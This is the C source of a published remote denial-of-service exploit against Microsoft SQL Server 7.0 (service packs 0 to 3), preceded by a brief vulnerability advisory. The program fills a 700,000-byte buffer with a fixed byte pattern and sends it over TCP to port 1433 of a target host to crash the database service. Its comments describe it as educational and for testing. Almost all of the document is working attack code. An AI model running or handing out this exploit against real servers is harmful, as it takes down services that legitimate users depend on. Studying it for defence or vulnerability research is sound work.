// source: https://www.securityfocus.com/bid/11265/info Reportedly Microsoft SQL Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle irregular network communications. An attacker may leverage this issue to cause the affected server to crash, denying service to legitimate users. /* * Microsoft mssql 7.0 server is vulnerable to denial of service attack * By sending a large buffer with specified data an attacker can stop the service * "mssqlserver" the error noticed is different according to services' pack but the result is always * the same one. * * Exception code = c0000005 * * vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3 * This code is for educational purposes, I am not responsible for your acts * * This is the unix port of the code based on the windows one made by: * securma massine * * (C) 2004 Sebastien Tricaud * */ #include #include #include #include #include #include #include #include #define BUF_SIZE 700000 #define DEFAULT_PORT 1433 int main(int argc, char **argv) { int sockfd; struct sockaddr_in target; struct hostent *he; char buffer[BUF_SIZE]; int i; int retval; for( i = 0; i < BUF_SIZE; i += 16 ) memcpy(buffer + i, "\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc", 16); if ( argc < 2 ) { printf("Vulnerable: MSSQL 7.0 sp0 - sp1 - sp2 - sp3\n"); printf("Synopsis: %s [port]\n\n", argv[0]); printf("This exploit is provided AS IS for testing purposes only\n"); return -1; } he = (struct hostent *)gethostbyname(argv[1]); if ( ! he ) { perror("Cannot get host by name\nThe server is maybe down"); return -1; } sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if ( sockfd == -1 ) { perror("Cannot create socket (type=AF_INET,SOCK_STREAM,IPPROTO_TCP)\n"); return -1; } memset(&target, 0, sizeof(struct sockaddr_in)); target.sin_family = AF_INET; if ( argv[2] ) target.sin_port = htons(atoi(argv[2])); else target.sin_port = htons(DEFAULT_PORT); target.sin_addr = *((struct in_addr *)he->h_addr); retval = connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)); if ( retval == -1 ) { perror("Cannot be connected to the target host (wrong port number?)\n"); return -1; } write(sockfd, buffer, sizeof(buffer)); printf("Data sent!\n"); printf("Please wait a few seconds and check the server\n"); close(sockfd); return 0; }